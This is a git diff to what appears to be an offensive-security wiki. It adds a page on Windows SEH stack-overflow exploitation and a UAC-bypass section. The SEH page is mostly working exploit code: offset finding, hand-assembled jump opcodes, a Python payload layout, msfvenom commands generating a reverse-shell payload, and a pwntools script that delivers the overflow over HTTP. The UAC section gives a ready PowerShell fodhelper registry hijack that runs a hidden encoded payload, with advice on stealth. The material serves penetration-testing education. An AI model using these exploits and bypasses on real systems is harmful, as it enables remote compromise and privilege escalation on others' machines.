diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..80e9f5889 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -775,6 +775,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md) + - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index c45d2c3d1..b58b8bdba 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -79,6 +79,15 @@ In this scenario the attacker could place a shellcode in the stack and abuse the stack-shellcode/ {{#endref}} +### Windows SEH-based exploitation (nSEH/SEH) + +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. + + +{{#ref}} +windows-seh-overflow.md +{{#endref}} + ### ROP & Ret2... techniques This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: @@ -202,6 +211,7 @@ Lessons learned: ## References * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) +* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md new file mode 100644 index 000000000..5eb4b9b84 --- /dev/null +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -0,0 +1,164 @@ +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) + +{{#include ../../banners/hacktricks-training.md}} + +SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields + +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function + +an attacker can take control of execution by: + +1) Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and +2) Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides. + +This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing. + +--- + +## Finding exact offsets (nSEH / SEH) + +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. + +Example with peda/GEF/pwntools on a 1000-byte POST body: + +```bash +# generate pattern (any tool is fine) +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 +# or +python3 -c "from pwn import *; print(cyclic(1000).decode())" + +# after crash, note the two 32-bit values from SEH view and compute offsets +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH +# ➜ offsets example: nSEH=660, SEH=664 +``` + +Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible. + +--- + +## Choosing a POP POP RET (SEH gadget) + +You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR: + +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. + +Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow. + +--- + +## Jump-back technique (short + near jmp) + +nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH. + +With nasmshell: + +```text +nasm> jmp -660 ; too far for short; near jmp is 5 bytes +E967FDFFFF +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) +EBF6 +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) +E96FFDFFFF +``` + +Layout idea for a 1000-byte payload with nSEH at offset 660: + +```python +buffer_length = 1000 +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) +payload += b"D" * (buffer_length - len(payload)) +``` + +Execution flow: +- Exception occurs, dispatcher uses overwritten SEH. +- POP POP RET unwinds into our nSEH. +- nSEH executes `jmp short -8` into the 5-byte near jump. +- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside. + +--- + +## Bad characters + +Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded. + +```python +badchars = bytes([x for x in range(1,256)]) +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case +``` + +--- + +## Shellcode generation (x86) + +Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance. + +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ + -b "\x00\x0a\x0d" -f python -v sc +``` + +If generating on the fly, the hex format is convenient to embed and unhex in Python: + +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ + -b "\x00\x0a\x0d" -f hex +``` + +--- + +## Delivering over HTTP (precise CRLF + Content-Length) + +When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body. + +```python +# pip install pwntools +from pwn import remote +host, port = "", 8080 +body = b"A" * 1000 # replace with the SEH-aware buffer above +req = f"""POST / HTTP/1.1 +Host: {host}:{port} +User-Agent: curl/8.5.0 +Accept: */* +Content-Length: {len(body)} +Connection: close + +""".replace('\n','\r\n').encode() + body +p = remote(host, port) +p.send(req) +print(p.recvall(timeout=0.5)) +p.close() +``` + +--- + +## Tooling + +- x32dbg/x64dbg to observe SEH chain and triage the crash. +- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`. +- Mona as an alternative: `!mona modules`, `!mona seh`. +- nasmshell to assemble short/near jumps and copy raw opcodes. +- pwntools to craft precise network payloads. + +--- + +## Notes and caveats + +- Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable. +- Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process. +- Service watchdogs that automatically restart on crash can make iterative exploit development easier. + +## References +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index c3dadafd8..4978940b5 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -173,6 +173,40 @@ Major Minor Build Revision Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +### UAC Bypass – fodhelper.exe (Registry hijack) + +The trusted binary `fodhelper.exe` is auto-elevated on modern Windows. When launched, it queries the per-user registry path below without validating the `DelegateExecute` verb. Planting a command there allows a Medium Integrity process (user is in Administrators) to spawn a High Integrity process without a UAC prompt. + +Registry path queried by fodhelper: +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +``` + +PowerShell steps (set your payload, then trigger): +```powershell +# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability +C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" + +# 1) Create the vulnerable key and values +New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null +New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null + +# 2) Set default command to your payload (example: reverse shell or cmd) +# Replace with your base64-encoded PowerShell (or any command) +Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e " -Force + +# 3) Trigger auto-elevation +Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" + +# 4) (Recommended) Cleanup +Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force +``` + +Notes: +- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions). +- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows. +- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth. + #### More UAC bypass **All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). @@ -208,6 +242,12 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**). +## References +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) +- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) +- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME) + {{#include ../../banners/hacktricks-training.md}}